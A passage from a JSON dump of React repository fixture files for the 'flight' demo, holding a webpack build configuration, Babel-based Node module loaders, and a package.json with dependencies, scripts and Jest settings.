shouldUseSourceMap = process.env.GENERATE_SOURCEMAP !== 'false';\n\nconst reactRefreshRuntimeEntry = require.resolve('react-refresh/runtime');\nconst reactRefreshWebpackPluginRuntimeEntry = require.resolve(\n  '@pmmmwh/react-refresh-webpack-plugin'\n);\nconst babelRuntimeEntry = require.resolve('babel-preset-react-app');\nconst babelRuntimeEntryHelpers = require.resolve(\n  '@babel/runtime/helpers/esm/assertThisInitialized',\n  {paths: [babelRuntimeEntry]}\n);\nconst babelRuntimeRegenerator = require.resolve('@babel/runtime/regenerator', {\n  paths: [babelRuntimeEntry],\n});\n\n// Some apps do not need the benefits of saving a web request, so not inlining the chunk\n// makes for a smoother build process.\nconst shouldInlineRuntimeChunk = process.env.INLINE_RUNTIME_CHUNK !== 'false';\n\nconst imageInlineSizeLimit = parseInt(\n  process.env.IMAGE_INLINE_SIZE_LIMIT || '10000'\n);\n\n// Check if TypeScript is setup\nconst useTypeScript = fs.existsSync(paths.appTsConfig);\n\n// Check if Tailwind config exists\nconst useTailwind = fs.existsSync(\n  path.join(paths.appPath, 'tailwind.config.js')\n);\n\n// Get the path to the uncompiled service worker (if it exists).\nconst swSrc = paths.swSrc;\n\n// style files regexes\nconst cssRegex = /\\.css$/;\nconst cssModuleRegex = /\\.module\\.css$/;\nconst sassRegex = /\\.(scss|sass)$/;\nconst sassModuleRegex = /\\.module\\.(scss|sass)$/;\n\n// This is the production and development configuration.\n// It is focused on developer experience, fast rebuilds, and a minimal bundle.\nmodule.exports = function (webpackEnv) {\n  const isEnvDevelopment = webpackEnv === 'development';\n  const isEnvProduction = webpackEnv === 'production';\n\n  // Variable used for enabling profiling in Production\n  // passed into alias object. Uses a flag if passed into the build command\n  const isEnvProductionProfile =\n    isEnvProduction && process.argv.includes('--profile');\n\n  // We will provide `paths.publicUrlOrPath` to our app\n  // as %PUBLIC_URL% in `index.html` and `process.env.PUBLIC_URL` in JavaScript.\n  // Omit trailing slash as %PUBLIC_URL%/xyz looks better than %PUBLIC_URL%xyz.\n  // Get environment variables to inject into our app.\n  const env = getClientEnvironment(paths.publicUrlOrPath.slice(0, -1));\n\n  const shouldUseReactRefresh = env.raw.FAST_REFRESH;\n\n  // common function to get style loaders\n  const getStyleLoaders = (cssOptions, preProcessor) => {\n    const loaders = [\n      isEnvDevelopment && require.resolve('style-loader'),\n      {\n        loader: MiniCssExtractPlugin.loader,\n        // css is located in `static/css`, use '../../' to locate index.html folder\n        // in production `paths.publicUrlOrPath` can be a relative path\n        options: paths.publicUrlOrPath.startsWith('.')\n          ? {publicPath: '../../'}\n          : {},\n      },\n      {\n        loader: require.resolve('css-loader'),\n        options: cssOptions,\n      },\n      {\n        // Options for PostCSS as we reference these options twice\n        // Adds vendor prefixing based on your specified browser support in\n        // package.json\n        loader: require.resolve('postcss-loader'),\n        options: {\n          postcssOptions: {\n            // Necessary for external CSS imports to work\n            // https://github.com/facebook/create-react-app/issues/2677\n            ident: 'postcss',\n            config: false,\n            plugins: !useTailwind\n              ? [\n                  'postcss-flexbugs-fixes',\n                  [\n                    'postcss-preset-env',\n                    {\n                      autoprefixer: {\n                        flexbox: 'no-2009',\n                      },\n                      stage: 3,\n                    },\n                  ],\n                  // Adds PostCSS Normalize as the reset css with default options,\n                  // so that it honors browserslist config in package.json\n                  // which in turn let's users customize the target behavior as per their needs.\n                  'postcss-normalize',\n                ]\n              : [\n                  'tailwindcss',\n                  'postcss-flexbugs-fixes',\n                  [\n                    'postcss-preset-env',\n                    {\n                      autoprefixer: {\n                        flexbox: 'no-2009',\n                      },\n                      stage: 3,\n                    },\n                  ],\n                ],\n          },\n          sourceMap: isEnvProduction ? shouldUseSourceMap : isEnvDevelopment,\n        },\n      },\n    ].filter(Boolean);\n    if (preProcessor) {\n      loaders.push(\n        {\n          loader: require.resolve('resolve-url-loader'),\n          options: {\n            sourceMap: isEnvProduction ? shouldUseSourceMap : isEnvDevelopment,\n            root: paths.appSrc,\n          },\n        },\n        {\n          loader: require.resolve(preProcessor),\n          options: {\n            sourceMap: true,\n          },\n        }\n      );\n    }\n    return loaders;\n  };\n\n  return {\n    target: ['browserslist'],\n    // Webpack noise constrained to errors and warnings\n    stats: 'errors-warnings',\n    mode: isEnvProduction ? 'production' : isEnvDevelopment && 'development',\n    // Stop compilation early in production\n    bail: isEnvProduction,\n    devtool: isEnvProduction\n      ? shouldUseSourceMap\n        ? 'source-map'\n        : false\n      : isEnvDevelopment && 'source-map',\n    // These are the \"entry points\" to our application.\n    // This means they will be the \"root\" imports that are included in JS bundle.\n    entry: isEnvProduction\n      ? [paths.appIndexJs]\n      : [\n          paths.appIndexJs,\n          // HMR client\n          'webpack-hot-middleware/client?path=/__webpack_hmr&timeout=20000',\n        ],\n    output: {\n      // The build folder.\n      path: paths.appBuild,\n      // Add /* filename */ comments to generated require()s in the output.\n      pathinfo: isEnvDevelopment,\n      // There will be one main bundle, and one file per asynchronous chunk.\n      // In development, it does not produce real files.\n      filename: isEnvProduction\n        ? 'static/js/[name].[contenthash:8].js'\n        : isEnvDevelopment && 'static/js/bundle.js',\n      // There are also additional JS chunk files if you use code splitting.\n      chunkFilename: isEnvProduction\n        ? 'static/js/[name].[contenthash:8].chunk.js'\n        : isEnvDevelopment && 'static/js/[name].chunk.js',\n      assetModuleFilename: 'static/media/[name].[hash][ext]',\n      // webpack uses `publicPath` to determine where the app is being served from.\n      // It requires a trailing slash, or the file assets will get an incorrect path.\n      // We inferred the \"public path\" (such as / or /my-project) from homepage.\n      publicPath: paths.publicUrlOrPath,\n      // Point sourcemap entries to original disk location (format as URL on Windows)\n      devtoolModuleFilenameTemplate: isEnvProduction\n        ? info =>\n            path\n              .relative(paths.appSrc, info.absoluteResourcePath)\n              .replace(/\\\\/g, '/')\n        : isEnvDevelopment &&\n          (info => pathToFileURL(path.resolve(info.absoluteResourcePath))),\n    },\n    cache: {\n      type: 'filesystem',\n      version: createEnvironmentHash(env.raw),\n      cacheDirectory: paths.appWebpackCache,\n      store: 'pack',\n      buildDependencies: {\n        defaultWebpack: ['webpack/lib/'],\n        config: [__filename],\n        tsconfig: [paths.appTsConfig, paths.appJsConfig].filter(f =>\n          fs.existsSync(f)\n        ),\n      },\n    },\n    infrastructureLogging: {\n      level: 'none',\n    },\n    optimization: {\n      minimize: isEnvProduction,\n      minimizer: [\n        // This is only used in production mode\n        new TerserPlugin({\n          terserOptions: {\n            parse: {\n              // We want terser to parse ecma 8 code. However, we don't want it\n              // to apply any minification steps that turns valid ecma 5 code\n              // into invalid ecma 5 code. This is why the 'compress' and 'output'\n              // sections only apply transformations that are ecma 5 safe\n              // https://github.com/facebook/create-react-app/pull/4234\n              ecma: 8,\n            },\n            compress: {\n              ecma: 5,\n              warnings: false,\n              // Disabled because of an issue with Uglify breaking seemingly valid code:\n              // https://github.com/facebook/create-react-app/issues/2376\n              // Pending further investigation:\n              // https://github.com/mishoo/UglifyJS2/issues/2011\n              comparisons: false,\n              // Disabled because of an issue with Terser breaking valid code:\n              // https://github.com/facebook/create-react-app/issues/5250\n              // Pending further investigation:\n              // https://github.com/terser-js/terser/issues/120\n              inline: 2,\n            },\n            mangle: {\n              safari10: true,\n            },\n            // Added for profiling in devtools\n            keep_classnames: isEnvProductionProfile,\n            keep_fnames: isEnvProductionProfile,\n            output: {\n              ecma: 5,\n              comments: false,\n              // Turned on because emoji and regex is not minified properly using default\n              // https://github.com/facebook/create-react-app/issues/2488\n              ascii_only: true,\n            },\n          },\n        }),\n        // This is only used in production mode\n        new CssMinimizerPlugin(),\n      ],\n    },\n    resolve: {\n      // This allows you to set a fallback for where webpack should look for modules.\n      // We placed these paths second because we want `node_modules` to \"win\"\n      // if there are any conflicts. This matches Node resolution mechanism.\n      // https://github.com/facebook/create-react-app/issues/253\n      modules: ['node_modules', paths.appNodeModules].concat(\n        modules.additionalModulePaths || []\n      ),\n      // These are the reasonable defaults supported by the Node ecosystem.\n      // We also include JSX as a common component filename extension to support\n      // some tools, although we do not recommend using it, see:\n      // https://github.com/facebook/create-react-app/issues/290\n      // `web` extension prefixes have been added for better support\n      // for React Native Web.\n      extensions: paths.moduleFileExtensions\n        .map(ext => `.${ext}`)\n        .filter(ext => useTypeScript || !ext.includes('ts')),\n      alias: {\n        // Support React Native Web\n        // https://www.smashingmagazine.com/2016/08/a-glimpse-into-the-future-with-react-native-for-web/\n        'react-native': 'react-native-web',\n        // Allows for better profiling with ReactDevTools\n        ...(isEnvProductionProfile && {\n          'react-dom$': 'react-dom/profiling',\n          'scheduler/tracing': 'scheduler/tracing-profiling',\n        }),\n        ...(modules.webpackAliases || {}),\n      },\n      plugins: [\n        // Prevents users from importing files from outside of src/ (or node_modules/).\n        // This often causes confusion because we only process files within src/ with babel.\n        // To fix this, we prevent you from importing files out of src/ -- if you'd like to,\n        // please link the files into your node_modules/ and let module-resolution kick in.\n        // Make sure your source files are compiled, as they will not be processed in any way.\n        new ModuleScopePlugin(paths.appSrc, [\n          paths.appPackageJson,\n          reactRefreshRuntimeEntry,\n          reactRefreshWebpackPluginRuntimeEntry,\n          babelRuntimeEntry,\n          babelRuntimeEntryHelpers,\n          babelRuntimeRegenerator,\n        ]),\n      ],\n    },\n    module: {\n      strictExportPresence: true,\n      rules: [\n        // Handle node_modules packages that contain sourcemaps\n        shouldUseSourceMap && {\n          enforce: 'pre',\n          exclude: /@babel(?:\\/|\\\\{1,2})runtime/,\n          test: /\\.(js|mjs|jsx|ts|tsx|css)$/,\n          loader: require.resolve('source-map-loader'),\n        },\n        {\n          // \"oneOf\" will traverse all following loaders until one will\n          // match the requirements. When no loader matches it will fall\n          // back to the \"file\" loader at the end of the loader list.\n          oneOf: [\n            // TODO: Merge this config once `image/avif` is in the mime-db\n            // https://github.com/jshttp/mime-db\n            {\n              test: [/\\.avif$/],\n              type: 'asset',\n              mimetype: 'image/avif',\n              parser: {\n                dataUrlCondition: {\n                  maxSize: imageInlineSizeLimit,\n                },\n              },\n            },\n            // \"url\" loader works like \"file\" loader except that it embeds assets\n            // smaller than specified limit in bytes as data URLs to avoid requests.\n            // A missing `test` is equivalent to a match.\n            {\n              test: [/\\.bmp$/, /\\.gif$/, /\\.jpe?g$/, /\\.png$/],\n              type: 'asset',\n              parser: {\n                dataUrlCondition: {\n                  maxSize: imageInlineSizeLimit,\n                },\n              },\n            },\n            {\n              test: /\\.svg$/,\n              use: [\n                {\n                  loader: require.resolve('@svgr/webpack'),\n                  options: {\n                    prettier: false,\n                    svgo: false,\n                    svgoConfig: {\n                      plugins: [{removeViewBox: false}],\n                    },\n                    titleProp: true,\n                    ref: true,\n                  },\n                },\n                {\n                  loader: require.resolve('file-loader'),\n                  options: {\n                    name: 'static/media/[name].[hash].[ext]',\n                  },\n                },\n              ],\n              issuer: {\n                and: [/\\.(ts|tsx|js|jsx|md|mdx)$/],\n              },\n            },\n            // Process application JS with Babel.\n            // The preset includes JSX, Flow, TypeScript, and some ESnext features.\n            {\n              test: /\\.(js|mjs|jsx|ts|tsx)$/,\n              include: paths.appSrc,\n              loader: require.resolve('babel-loader'),\n              options: {\n                customize: require.resolve(\n                  'babel-preset-react-app/webpack-overrides'\n                ),\n                presets: [\n                  [\n                    require.resolve('babel-preset-react-app'),\n                    {\n                      runtime: 'automatic',\n                    },\n                  ],\n                ],\n\n                plugins: [\n                  isEnvDevelopment &&\n                    shouldUseReactRefresh &&\n                    require.resolve('react-refresh/babel'),\n                ].filter(Boolean),\n                // This is a feature of `babel-loader` for webpack (not Babel itself).\n                // It enables caching results in ./node_modules/.cache/babel-loader/\n                // directory for faster rebuilds.\n                cacheDirectory: true,\n                // See #6846 for context on why cacheCompression is disabled\n                cacheCompression: false,\n                compact: isEnvProduction,\n              },\n            },\n            // Process any JS outside of the app with Babel.\n            // Unlike the application JS, we only compile the standard ES features.\n            {\n              test: /\\.(js|mjs)$/,\n              exclude: /@babel(?:\\/|\\\\{1,2})runtime/,\n              loader: require.resolve('babel-loader'),\n              options: {\n                babelrc: false,\n                configFile: false,\n                compact: false,\n                presets: [\n                  [\n                    require.resolve('babel-preset-react-app/dependencies'),\n                    {helpers: true},\n                  ],\n                ],\n                cacheDirectory: true,\n                // See #6846 for context on why cacheCompression is disabled\n                cacheCompression: false,\n\n                // Babel sourcemaps are needed for debugging into node_modules\n                // code.  Without the options below, debuggers like VSCode\n                // show incorrect code and set breakpoints on the wrong lines.\n                sourceMaps: shouldUseSourceMap,\n                inputSourceMap: shouldUseSourceMap,\n              },\n            },\n            // \"postcss\" loader applies autoprefixer to our CSS.\n            // \"css\" loader resolves paths in CSS and adds assets as dependencies.\n            // \"style\" loader turns CSS into JS modules that inject <style> tags.\n            // In production, we use MiniCSSExtractPlugin to extract that CSS\n            // to a file, but in development \"style\" loader enables hot editing\n            // of CSS.\n            // By default we support CSS Modules with the extension .module.css\n            {\n              test: cssRegex,\n              exclude: cssModuleRegex,\n              use: getStyleLoaders({\n                importLoaders: 1,\n                sourceMap: isEnvProduction\n                  ? shouldUseSourceMap\n                  : isEnvDevelopment,\n                modules: {\n                  mode: 'icss',\n                },\n              }),\n              // Don't consider CSS imports dead code even if the\n              // containing package claims to have no side effects.\n              // Remove this when webpack adds a warning or an error for this.\n              // See https://github.com/webpack/webpack/issues/6571\n              sideEffects: true,\n            },\n            // Adds support for CSS Modules (https://github.com/css-modules/css-modules)\n            // using the extension .module.css\n            {\n              test: cssModuleRegex,\n              use: getStyleLoaders({\n                importLoaders: 1,\n                sourceMap: isEnvProduction\n                  ? shouldUseSourceMap\n                  : isEnvDevelopment,\n                modules: {\n                  mode: 'local',\n                  getLocalIdent: getCSSModuleLocalIdent,\n                },\n              }),\n            },\n            // Opt-in support for SASS (using .scss or .sass extensions).\n            // By default we support SASS Modules with the\n            // extensions .module.scss or .module.sass\n            {\n              test: sassRegex,\n              exclude: sassModuleRegex,\n              use: getStyleLoaders(\n                {\n                  importLoaders: 3,\n                  sourceMap: isEnvProduction\n                    ? shouldUseSourceMap\n                    : isEnvDevelopment,\n                  modules: {\n                    mode: 'icss',\n                  },\n                },\n                'sass-loader'\n              ),\n              // Don't consider CSS imports dead code even if the\n              // containing package claims to have no side effects.\n              // Remove this when webpack adds a warning or an error for this.\n              // See https://github.com/webpack/webpack/issues/6571\n              sideEffects: true,\n            },\n            // Adds support for CSS Modules, but using SASS\n            // using the extension .module.scss or .module.sass\n            {\n              test: sassModuleRegex,\n              use: getStyleLoaders(\n                {\n                  importLoaders: 3,\n                  sourceMap: isEnvProduction\n                    ? shouldUseSourceMap\n                    : isEnvDevelopment,\n                  modules: {\n                    mode: 'local',\n                    getLocalIdent: getCSSModuleLocalIdent,\n                  },\n                },\n                'sass-loader'\n              ),\n            },\n            // \"file\" loader makes sure those assets get served by WebpackDevServer.\n            // When you `import` an asset, you get its (virtual) filename.\n            // In production, they would get copied to the `build` folder.\n            // This loader doesn't use a \"test\" so it will catch all modules\n            // that fall through the other loaders.\n            {\n              // Exclude `js` files to keep \"css\" loader working as it injects\n              // its runtime that would otherwise be processed through \"file\" loader.\n              // Also exclude `html` and `json` extensions so they get processed\n              // by webpacks internal loaders.\n              exclude: [/^$/, /\\.(js|mjs|jsx|ts|tsx)$/, /\\.html$/, /\\.json$/],\n              type: 'asset/resource',\n            },\n            // ** STOP ** Are you adding a new loader?\n            // Make sure to add the new loader(s) before the \"file\" loader.\n          ],\n        },\n      ].filter(Boolean),\n    },\n    plugins: [\n      new webpack.HotModuleReplacementPlugin(),\n      // This gives some necessary context to module not found errors, such as\n      // the requesting resource.\n      new ModuleNotFoundPlugin(paths.appPath),\n      // Makes some environment variables available to the JS code, for example:\n      // if (process.env.NODE_ENV === 'production') { ... }. See `./env.js`.\n      // It is absolutely essential that NODE_ENV is set to production\n      // during a production build.\n      // Otherwise React will be compiled in the very slow development mode.\n      new webpack.DefinePlugin(env.stringified),\n      // Experimental hot reloading for React .\n      // https://github.com/facebook/react/tree/main/packages/react-refresh\n      isEnvDevelopment &&\n        shouldUseReactRefresh &&\n        new ReactRefreshWebpackPlugin({\n          overlay: false,\n        }),\n      // Watcher doesn't work well if you mistype casing in a path so we use\n      // a plugin that prints an error when you attempt to do this.\n      // See https://github.com/facebook/create-react-app/issues/240\n      isEnvDevelopment && new CaseSensitivePathsPlugin(),\n      new MiniCssExtractPlugin({\n        // Options similar to the same options in webpackOptions.output\n        // both options are optional\n        filename: 'static/css/[name].[contenthash:8].css',\n        chunkFilename: 'static/css/[name].[contenthash:8].chunk.css',\n      }),\n      // Generate a manifest containing the required script / css for each entry.\n      new WebpackManifestPlugin({\n        fileName: 'entrypoint-manifest.json',\n        publicPath: paths.publicUrlOrPath,\n        generate: (seed, files, entrypoints) => {\n          const entrypointFiles = entrypoints.main.filter(\n            fileName => !fileName.endsWith('.map')\n          );\n\n          const processedEntrypoints = {};\n          for (let key in entrypoints) {\n            processedEntrypoints[key] = {\n              js: entrypoints[key].filter(\n                filename =>\n                  // Include JS assets but ignore hot updates because they're not\n                  // safe to include as async script tags.\n                  filename.endsWith('.js') &&\n                  !filename.endsWith('.hot-update.js')\n              ),\n              css: entrypoints[key].filter(filename =>\n                filename.endsWith('.css')\n              ),\n            };\n          }\n\n          return processedEntrypoints;\n        },\n      }),\n      // Moment.js is an extremely popular library that bundles large locale files\n      // by default due to how webpack interprets its code. This is a practical\n      // solution that requires the user to opt into importing specific locales.\n      // https://github.com/jmblog/how-to-optimize-momentjs-with-webpack\n      // You can remove this if you don't use Moment.js:\n      new webpack.IgnorePlugin({\n        resourceRegExp: /^\\.\\/locale$/,\n        contextRegExp: /moment$/,\n      }),\n      // TypeScript type checking\n      useTypeScript &&\n        new ForkTsCheckerWebpackPlugin({\n          async: isEnvDevelopment,\n          typescript: {\n            typescriptPath: resolve.sync('typescript', {\n              basedir: paths.appNodeModules,\n            }),\n            configOverwrite: {\n              compilerOptions: {\n                sourceMap: isEnvProduction\n                  ? shouldUseSourceMap\n                  : isEnvDevelopment,\n                skipLibCheck: true,\n                inlineSourceMap: false,\n                declarationMap: false,\n                noEmit: true,\n                incremental: true,\n                tsBuildInfoFile: paths.appTsBuildInfoFile,\n              },\n            },\n            context: paths.appPath,\n            diagnosticOptions: {\n              syntactic: true,\n            },\n            mode: 'write-references',\n            // profile: true,\n          },\n          issue: {\n            // This one is specifically to match during CI tests,\n            // as micromatch doesn't match\n            // '../cra-template-typescript/template/src/App.tsx'\n            // otherwise.\n            include: [\n              {file: '../**/src/**/*.{ts,tsx}'},\n              {file: '**/src/**/*.{ts,tsx}'},\n            ],\n            exclude: [\n              {file: '**/src/**/__tests__/**'},\n              {file: '**/src/**/?(*.){spec|test}.*'},\n              {file: '**/src/setupProxy.*'},\n              {file: '**/src/setupTests.*'},\n            ],\n          },\n          logger: {\n            infrastructure: 'silent',\n          },\n        }),\n      // Fork Start\n      new DevToolsIgnorePlugin({\n        shouldIgnorePath: function (path) {\n          return (\n            path.includes('/node_modules/') ||\n            path.includes('/webpack/') ||\n            path.endsWith('/src/index.js')\n          );\n        },\n      }),\n      new ReactFlightWebpackPlugin({\n        isServer: false,\n        clientReferences: {\n          directory: './src',\n          recursive: true,\n          include: /\\.(js|ts|jsx|tsx)$/,\n        },\n      }),\n      // Fork End\n    ].filter(Boolean),\n    experiments: {\n      topLevelAwait: true,\n    },\n    // Turn off performance processing because we utilize\n    // our own hints via the FileSizeReporter\n    performance: false,\n  };\n};\n"
  },
  {
    "path": "fixtures/flight/loader/global.js",
    "content": "import babel from '@babel/core';\n\nconst babelOptions = {\n  babelrc: false,\n  ignore: [/\\/(build|node_modules)\\//],\n  plugins: [\n    '@babel/plugin-syntax-import-meta',\n    ['@babel/plugin-transform-react-jsx', {runtime: 'automatic'}],\n  ],\n};\n\nexport async function load(url, context, defaultLoad) {\n  const {format} = context;\n  const result = await defaultLoad(url, context, defaultLoad);\n  if (result.format === 'module') {\n    const opt = Object.assign({filename: url}, babelOptions);\n    const newResult = await babel.transformAsync(result.source, opt);\n    if (!newResult) {\n      if (typeof result.source === 'string') {\n        return result;\n      }\n      return {\n        source: Buffer.from(result.source).toString('utf8'),\n        format: 'module',\n      };\n    }\n    return {source: newResult.code, format: 'module'};\n  }\n  return defaultLoad(url, context, defaultLoad);\n}\n\nasync function babelTransformSource(source, context, defaultTransformSource) {\n  const {format} = context;\n  if (format === 'module') {\n    const opt = Object.assign({filename: context.url}, babelOptions);\n    const newResult = await babel.transformAsync(source, opt);\n    if (!newResult) {\n      if (typeof source === 'string') {\n        return {source};\n      }\n      return {\n        source: Buffer.from(source).toString('utf8'),\n      };\n    }\n    return {source: newResult.code};\n  }\n  return defaultTransformSource(source, context, defaultTransformSource);\n}\n\nexport const transformSource =\n  process.version < 'v16' ? babelTransformSource : undefined;\n"
  },
  {
    "path": "fixtures/flight/loader/package.json",
    "content": "{\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "fixtures/flight/loader/region.js",
    "content": "import {\n  resolve,\n  load as reactLoad,\n  getSource as getSourceImpl,\n  transformSource as reactTransformSource,\n} from 'react-server-dom-unbundled/node-loader';\n\nexport {resolve};\n\nimport babel from '@babel/core';\n\nconst babelOptions = {\n  babelrc: false,\n  ignore: [/\\/(build|node_modules)\\//],\n  plugins: [\n    '@babel/plugin-syntax-import-meta',\n    ['@babel/plugin-transform-react-jsx', {runtime: 'automatic'}],\n  ],\n  sourceMaps: process.env.NODE_ENV === 'development' ? 'inline' : false,\n};\n\nasync function babelLoad(url, context, defaultLoad) {\n  const {format} = context;\n  const result = await defaultLoad(url, context, defaultLoad);\n  if (result.format === 'module') {\n    const opt = Object.assign({filename: url}, babelOptions);\n    const newResult = await babel.transformAsync(result.source, opt);\n    if (!newResult) {\n      if (typeof result.source === 'string') {\n        return result;\n      }\n      return {\n        source: Buffer.from(result.source).toString('utf8'),\n        format: 'module',\n      };\n    }\n    return {source: newResult.code, format: 'module'};\n  }\n  return defaultLoad(url, context, defaultLoad);\n}\n\nexport async function load(url, context, defaultLoad) {\n  return await reactLoad(url, context, (u, c) => {\n    return babelLoad(u, c, defaultLoad);\n  });\n}\n\nasync function babelTransformSource(source, context, defaultTransformSource) {\n  const {format} = context;\n  if (format === 'module') {\n    const opt = Object.assign({filename: context.url}, babelOptions);\n    const newResult = await babel.transformAsync(source, opt);\n    if (!newResult) {\n      if (typeof source === 'string') {\n        return {source};\n      }\n      return {\n        source: Buffer.from(source).toString('utf8'),\n      };\n    }\n    return {source: newResult.code};\n  }\n  return defaultTransformSource(source, context, defaultTransformSource);\n}\n\nasync function transformSourceImpl(source, context, defaultTransformSource) {\n  return await reactTransformSource(source, context, (s, c) => {\n    return babelTransformSource(s, c, defaultTransformSource);\n  });\n}\n\nexport const transformSource =\n  process.version < 'v16' ? transformSourceImpl : undefined;\nexport const getSource = process.version < 'v16' ? getSourceImpl : undefined;\n"
  },
  {
    "path": "fixtures/flight/package.json",
    "content": "{\n  \"name\": \"flight\",\n  \"type\": \"module\",\n  \"version\": \"0.1.0\",\n  \"private\": true,\n  \"devEngines\": {\n    \"node\": \"20.x || 22.x\"\n  },\n  \"dependencies\": {\n    \"@babel/core\": \"^7.16.0\",\n    \"@babel/plugin-proposal-private-property-in-object\": \"^7.18.6\",\n    \"@babel/preset-react\": \"^7.22.5\",\n    \"@pmmmwh/react-refresh-webpack-plugin\": \"0.5.15\",\n    \"@svgr/webpack\": \"^5.5.0\",\n    \"@testing-library/jest-dom\": \"^5.14.1\",\n    \"@testing-library/react\": \"^13.0.0\",\n    \"@testing-library/user-event\": \"^13.2.1\",\n    \"babel-jest\": \"^27.4.2\",\n    \"babel-loader\": \"^8.2.3\",\n    \"babel-plugin-named-asset-import\": \"^0.3.8\",\n    \"babel-preset-react-app\": \"^10.0.1\",\n    \"body-parser\": \"^1.20.1\",\n    \"browserslist\": \"^4.18.1\",\n    \"busboy\": \"^1.6.0\",\n    \"camelcase\": \"^6.2.1\",\n    \"canvas\": \"^3.1.0\",\n    \"case-sensitive-paths-webpack-plugin\": \"^2.4.0\",\n    \"compression\": \"^1.7.4\",\n    \"concurrently\": \"^7.3.0\",\n    \"css-loader\": \"^6.5.1\",\n    \"css-minimizer-webpack-plugin\": \"^3.2.0\",\n    \"devtools-ignore-webpack-plugin\": \"^0.2.0\",\n    \"dotenv\": \"^10.0.0\",\n    \"dotenv-expand\": \"^5.1.0\",\n    \"file-loader\": \"^6.2.0\",\n    \"fs-extra\": \"^10.0.0\",\n    \"html-webpack-plugin\": \"^5.5.0\",\n    \"identity-obj-proxy\": \"^3.0.0\",\n    \"jest\": \"^27.4.3\",\n    \"jest-resolve\": \"^27.4.2\",\n    \"jest-watch-typeahead\": \"^1.0.0\",\n    \"mini-css-extract-plugin\": \"^2.4.5\",\n    \"nodemon\": \"^2.0.19\",\n    \"postcss\": \"^8.4.4\",\n    \"postcss-flexbugs-fixes\": \"^5.0.2\",\n    \"postcss-loader\": \"^6.2.1\",\n    \"postcss-normalize\": \"^10.0.1\",\n    \"postcss-preset-env\": \"^7.0.1\",\n    \"prompts\": \"^2.4.2\",\n    \"react\": \"experimental\",\n    \"react-dev-utils\": \"^12.0.1\",\n    \"react-dom\": \"experimental\",\n    \"react-refresh\": \"^0.11.0\",\n    \"react-server-dom-webpack\": \"experimental\",\n    \"resolve\": \"^1.20.0\",\n    \"resolve-url-loader\": \"^4.0.0\",\n    \"sass-loader\": \"^12.3.0\",\n    \"semver\": \"^7.3.5\",\n    \"source-map-loader\": \"^3.0.0\",\n    \"style-loader\": \"^3.3.1\",\n    \"tailwindcss\": \"^3.0.2\",\n    \"terser-webpack-plugin\": \"^5.2.5\",\n    \"undici\": \"^5.20.0\",\n    \"webpack\": \"^5.64.4\",\n    \"webpack-dev-middleware\": \"^5.3.4\",\n    \"webpack-hot-middleware\": \"^2.25.3\",\n    \"webpack-manifest-plugin\": \"^4.0.2\"\n  },\n  \"devDependencies\": {\n    \"@playwright/test\": \"^1.51.1\"\n  },\n  \"scripts\": {\n    \"predev\": \"cp -r ../../build/oss-experimental/* ./node_modules/ && rm -rf node_modules/.cache;\",\n    \"prebuild\": \"cp -r ../../build/oss-experimental/* ./node_modules/ && rm -rf node_modules/.cache;\",\n    \"dev\": \"concurrently \\\"yarn run dev:region\\\" \\\"yarn run dev:global\\\"\",\n    \"dev:global\": \"NODE_ENV=development BUILD_PATH=dist node --experimental-loader ./loader/global.js --inspect=127.0.0.1:9230 server/global\",\n    \"dev:region\": \"NODE_ENV=development BUILD_PATH=dist nodemon --watch src --watch dist -- --enable-source-maps --experimental-loader ./loader/region.js --conditions=react-server --inspect=127.0.0.1:9229 server/region\",\n    \"start\": \"node scripts/build.js && concurrently \\\"yarn run start:region\\\" \\\"yarn run start:global\\\"\",\n    \"start:global\": \"NODE_ENV=production node --experimental-loader ./loader/global.js server/global\",\n    \"start:region\": \"NODE_ENV=production node --experimental-loader ./loader/region.js --conditions=react-server server/region\",\n    \"build\": \"node scripts/build.js\",\n    \"test\": \"playwright test\"\n  },\n  \"browserslist\": {\n    \"production\": [\n      \">0.2%\",\n      \"not dead\",\n      \"not op_mini all\"\n    ],\n    \"development\": [\n      \"last 1 chrome version\",\n      \"last 1 firefox version\",\n      \"last 1 safari version\"\n    ]\n  },\n  \"jest\": {\n    \"roots\": [\n      \"<rootDir>/src\"\n    ],\n    \"collectCoverageFrom\": [\n      \"src/**/*.{js,jsx,ts,tsx}\",\n      \"!src/**/*.d.ts\"\n    ],\n    \"setupFiles\": [\n      \"react-app-polyfill/jsdom\"\n    ],\n    \"setupFilesAfterEnv\": [\n      \"<rootDir>/src/setupTests.js\"\n    ],\n    \"testMatch\": [\n      \"<rootDir>/src/**/__tests__/**/*.{js,jsx,ts,tsx}\",\n      \"<rootDir>/src/**/*.{spec,test}.{js,jsx,ts,tsx}\"\n    ],\n    \"testEnvironment\": \"jsdom\",\n    \"transform\": {\n      \"^.+\\\\.(js|jsx|mjs|cjs|ts|tsx)$\": \"<rootDir>/config/jest/babelTransform.js\",\n      \"^.+\\\\.css$\": \"<rootDir>/config/jest/cssTransform.js\",\n      \"^(?!.*\\\\.(js|jsx|mjs|cjs|ts|tsx|css|json)$)\": \"<rootDir>/config/jest/fileTransform.js\"\n    },\n    \"transformIgnorePatterns\": [\n      \"[/\\\\\\\\]node_modules[/\\\\\\\\].+\\\\.(js|jsx|mjs|cjs|ts|tsx)$\",\n      \"^.+\\\\.module\\\\.(css|sass|scss)$\"\n    ],\n    \"modulePaths\": [],\n    \"moduleNameMapper\": {\n      \"^react-native$\": \"react-native-web\",\n      \"^.+\\\\.module\\\\.(css|sass|scss)$\": \"identity-obj-proxy\"\n    },\n    \"moduleFileExtensions\": [\n      \"web.js\",\n      \"js\",\n      \"web.ts\",\n      \"ts\",\n      \"web.tsx\",\n      \"tsx\",\n      \"json\",\n      \"web.jsx\",\n      \"jsx\",\n      \"node\"\n    ],\n    \"watchPlugins\": [\n      \"jest-watch-typeahead/filename\",\n      \"jest-watch-typeahead/testname\"\n    ],\n    \"resetMocks\": true\n  },\n  \"babel\": {\n    \"presets\": [\n      \"react-app\"\n    ]\n  }\n}\n"
  },
  {
    "path": "fixtures/flight/playwright.config.js",
